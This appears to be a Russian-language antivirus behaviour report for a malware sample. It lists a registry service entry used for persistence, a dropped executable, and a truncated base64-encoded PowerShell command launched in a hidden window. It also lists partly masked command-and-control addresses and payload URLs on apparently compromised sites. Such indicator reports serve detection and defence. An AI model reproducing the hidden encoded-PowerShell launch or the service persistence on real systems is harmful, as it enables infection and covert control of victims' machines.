Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData0019] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData0019] 'ImagePath' = '"%WINDIR%\SysWOW64\raserver\NlsData0019.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB0AGgAaQBiAD0AJwBoAGUAZQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQByAGAASQBUAFkAYABwAHIATwB0AE8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsAC...
- %HOMEPATH%\997.exe
- %HOMEPATH%\997.exe в %WINDIR%\syswow64\raserver\nlsdata0019.exe
- '17#.#44.130.105':443
- '19#.#7.69.201':8080
- '15#.#.164.178':8081
- '78.##8.170.128':80
- '20#.#53.216.178':7080
- '77.#4.78.80':443
- '17#.#3.167.120':8080
- '17#.#.241.28':80
- '14#.#5.101.72':8080
- http://mi###.tri-comma.com/wp-admin/BmKOeycm0704/
- http://de####acovid.com/wp-admin/dGzIMVvo/
- http://do###hai.com/wp-admin/Wq6Kdoisk1r4060453/
- http://ag######ame.reviewshell.com/cgi-bin/csoa45gw51315935/
- http://77.##.78.80:443/cM5Y4UH/HwwJg5um9P5F/ via 77.#4.78.80
- DNS ASK mi###.tri-comma.com
- DNS ASK de####acovid.com
- DNS ASK do###hai.com
- DNS ASK ag######ame.reviewshell.com
- '%HOMEPATH%\997.exe'
- '%WINDIR%\syswow64\raserver\nlsdata0019.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB0AGgAaQBiAD0AJwBoAGUAZQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQByAGAASQBUAFkAYABwAHIATwB0AE8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsAC...' (со скрытым окном)